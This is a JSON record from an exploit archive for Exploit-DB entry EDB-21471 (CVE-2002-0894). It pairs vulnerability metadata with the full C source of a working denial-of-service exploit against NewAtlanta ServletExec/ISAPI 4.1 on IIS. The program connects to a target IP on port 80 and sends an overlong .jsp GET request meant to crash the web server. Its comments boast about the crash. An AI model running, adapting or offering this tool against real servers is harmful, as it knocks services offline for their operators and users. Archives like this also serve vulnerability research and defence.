{"exploit":{"id":"EDB-21471","name":"NewAtlanta ServletExec/ISAPI 4.1 JSPServlet - Denial of Service (DoS)","description":"NewAtlanta ServletExec/ISAPI 4.1 JSPServlet - Denial of Service (DoS)","cves":["CVE-2002-0894"],"author":"Matt Moore","published":"2002-05-22","platform":"windows","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/21471","path":"exploits/windows/dos/21471.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-21471.c","vulnerabilities":[{"id":"CVE-2002-0894","state":"PUBLISHED","title":null,"titleSource":null,"description":"NewAtlanta ServletExec ISAPI 4.1 allows remote attackers to cause a denial of service (crash) via (1) a request for a long .jsp file, or (2) a long URL sent directly to com.newatlanta.servletexec.JSP10Servlet.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2002-0894","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2002-0894"},"updatedAt":"2024-08-08T03:03:49.350Z","retrievedAt":"2026-11-27T08:07:30.833Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-21471.png?v=2","url":"https://exploitbin.com/exploits/EDB-21471","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-21471/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-21471/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// source: https://web.archive.org/web/2002/https://www.securityfocus.com/bid/4796/info\n\nServletExec/ISAPI is a plug-in Java Servlet/JSP engine for Microsoft IIS. It runs with IIS on Microsoft Windows NT/2000/XP systems.\n\nA denial of service condition occurs when the JSPServlet is sent an overly long request either directly or via a request for a JSP file.\n\nIt has been reported that this will cause the underlying webserver to crash.\n\nThis condition may be the result of insufficient bounds checking, though this possibility has not been confirmed.\n\n#include <stdio.h>\n#include <sys/types.h>\n#include <string.h>\n#include <sys/socket.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\n#include <stdlib.h>\n\n/*    This is Exploit code for a vulnerability in NewAtlanta ServletExec ISAPI 4.1.\n      ServletExec 4.1 ISAPI is a Java Servlet/JSP Engine for Internet Information\n      Server and is implemented as an ISAPI filter.\n      Machines running this program is MS IIS server 4 and 5.\n\t  This code can simple crash the server, successfully preform a DoS attack!\n\t  It sends a string that servletExec don't like but have to eat, and\n\t  this will make the server crash, BIG TIME =)\n\t  This file assuming the www server is on port 80 and that the servlet engine\n\t  is located in the /Servlet directory.\n\t  Jonas \"bl0wfi5h\" Nyberg and Digital-Root.com is proud to present ServletExecCrash.\n\t  You can contact me at: bl0wfi5h@digital-root.com or bl0wfi5h@hotmail.com.\n\t  This was finished: 2002-05-24 @21:49 Swedish time\n*/\n\nvoid banner(void);\n\ntypedef unsigned short int USHORT;\ntypedef unsigned long int ULONG;\n\n\n\nint main(int argc, char** argv[])\n{\n  int sockfd;\n  struct sockaddr_in dest_addr;\n\n\n  int len, bytes_sent, select;\n  char* string = \"GET /Servlet/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.jsp\";\n\n  if(argc < 2 || argc > 2)\n  {\n  \tprintf(\"Usage: ./servletExecCrash ip\\n\");\n  \tprintf(\"Assuming that its port 80, which is default for most www servers\\n\");\n  \tprintf(\"If this is a case where this is not true, change the got damn source yourself!\\n\");\n  \texit(1);\n  }\n  dest_addr.sin_family = AF_INET;\n  dest_addr.sin_port = htons(80);\n  inet_aton(argv[1], &(dest_addr.sin_addr));\n  memset(&(dest_addr.sin_zero), '\\0',8);\n  len = strlen(string);\n\n  if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1 )\n  {\n  \tprintf(\"problem with your socket!\");\n  \texit(1);\n  }\n\n  connect(sockfd, (struct sockaddr *)& dest_addr, sizeof(struct sockaddr));\n\n\n  bytes_sent = send(sockfd, string, len, 0);\n  if(bytes_sent == -1)\n  {\n    printf(\"\\nYou are having problem sending, the information\\n\");\n    exit(1);\n  }\n\tprintf(\"\\nYou have sent: %d\", bytes_sent);\n\tprintf(\" bytes to: %s\", argv[1]);\n\tclose(sockfd);\n\tbanner();\n\treturn 0;\n\n}\nvoid banner(void)\n{\n\tprintf(\"\\n\\n***********************************************\\n\");\n\tprintf(\"*****CODE MADE BY: JONAS [BL0wFi5h] NYBERG*******\\n\");\n\tprintf(\"*********DIGITAL-ROOT PROUDLY PRESENT*************\\n\");\n\tprintf(\"****************SERVLETEXECCRASH******************\\n\");\n\tprintf(\"**************************************************\\n\");\n\n\n}","sha256":"487c50f6018e8f716c125a36372c3e9a504002c7a14507a31e3afdc53217b94f","bytes":3163,"fetchedAt":"2026-11-27T08:07:26.572Z","encoding":"utf-8 (display only; download retains original bytes)"}